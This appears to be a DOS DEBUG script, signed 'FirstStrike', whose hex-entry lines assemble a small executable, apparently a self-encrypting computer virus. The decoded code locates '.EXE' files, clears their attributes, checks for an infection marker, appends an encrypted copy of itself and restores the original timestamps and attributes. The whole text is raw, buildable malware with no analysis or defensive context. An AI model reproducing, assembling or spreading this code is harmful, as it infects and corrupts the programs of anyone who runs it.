E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 08D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 08E0 90 90 90 90 90 90 90 90 B8 00 4C CD 21 E8 00 00
E 08F0 5D 81 ED 03 00 90 90 90 BB 21 00 03 DD B9 41 01
E 0900 2E 8A 17 D0 CA 2E 88 17 43 E2 F5 E9 93 00 A6 A4
E 0910 A0 17 3C FA 02 63 08 A7 C7 56 87 07 B5 00 73 20
E 0920 00 EF E3 13 2C 13 02 47 17 02 47 07 02 8F 0C 0B
E 0930 02 00 41 B0 B4 0A 4D 04 7A 4D 04 E4 94 D7 96 21
E 0940 86 E4 F2 40 90 C2 EC DE C6 58 40 C2 DC C8 40 D8
E 0950 CA E8 40 E6 D8 D2 E0 40 E8 D0 CA 40 88 DE CE E6
E 0960 40 DE CC 40 AE C2 E4 42 00 B6 86 C2 E8 E0 D0 D2
E 0970 E6 D0 BA 00 8C D2 E4 E6 E8 A6 E8 E4 D2 D6 CA 00
E 0980 96 E4 C2 CC E8 42 00 07 85 02 A0 63 12 A7 D1 A7
E 0990 95 F3 26 A1 B0 01 C9 02 13 2C F2 02 47 EE 02 B6
E 09A0 87 0C 66 81 1D 81 4C 07 7C 19 02 80 EA 06 D3 03
E 09B0 00 71 42 6A 9B 42 5C 13 3D E2 02 5C 19 0D E6 02
E 09C0 3C 69 A4 9B 42 4C 1D BE FD 66 ED 01 7C 00 00 9A
E 09D0 EA 16 19 B1 06 0C 06 00 80 1D B1 D7 DD 01 7C 00
E 09E0 00 B4 EA 1A 8D 0C 00 00 9A 07 5C 06 00 40 21 D7
E 09F0 C3 8D 0C 00 00 B4 8F 0C 02 00 10 00 8F 0C 06 00
E 0A00 40 00 3C B0 80 A0 0E 77 00 00 06 BB 73 4D 04 AA
E 0A10 7B 00 00 5C 15 2E 4C 11 AC 00 8A 86 C5 EB BA 71
E 0A20 C6 4A 75 80 00 9B 42 71 42 4A 75 1B 02 0C 3E 9B
E 0A30 42 3E 0E 19 81 0A 20 00 5C 02 0D CA 02 F5 5C 06
E 0A40 0D D2 02 1D A1 5C 17 4D CE 02 F7 66 81 66 DB EA
E 0A50 00 01 10 00 00 01 00 00 20 00 97 19 5A 0B 92 14
E 0A60 1D 07 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF
E 0A70 5E 00 00 A0 00 00 0D 00 5E 00 3D 00 4B 74 05 2E
E 0A80 FF 2E 71 01 E8 02 00 EB F6 50 53 51 06 52 1E B9
E 0A90 40 00 8B DA 80 3F 2E 74 06 43 E2 F8 E9 AE 00 80
E 0AA0 7F 01 45 75 F7 80 7F 02 58 75 F1 80 7F 03 45 75
E 0AB0 EB B8 00 43 E8 A8 00 2E 89 0E 6B 01 B8 01 43 33
E 0AC0 C9 E8 9B 00 B8 02 3D E8 95 00 93 B8 00 57 E8 8E
E 0AD0 00 2E 89 0E 6F 01 2E 89 16 6D 01 0E 1F B4 3F B9
E 0AE0 18 00 BA 75 01 E8 77 00 2E 81 3E 87 01 93 19 75
E 0AF0 03 EB 55 90 E8 8C 00 50 52 E8 6A 00 5A 58 E8 0D
E 0B00 FE 53 51 52 BB 21 00 B9 41 01 2E 8A 17 D0 C2 2E
E 0B10 88 17 43 E2 F5 5A 59 5B B4 40 B9 A6 02 BA 00 00
E 0B20 E8 3C 00 2E C7 06 87 01 93 19 E8 5B 00 B4 40 B9
E 0B30 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 01
E 0B40 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A B8
E 0B50 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 9C
E 0B60 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 2E
E 0B70 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E A3
E 0B80 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E8
E 0B90 CD FF C3
RCX
0A93
W
Q
-+- FirstStrike -+-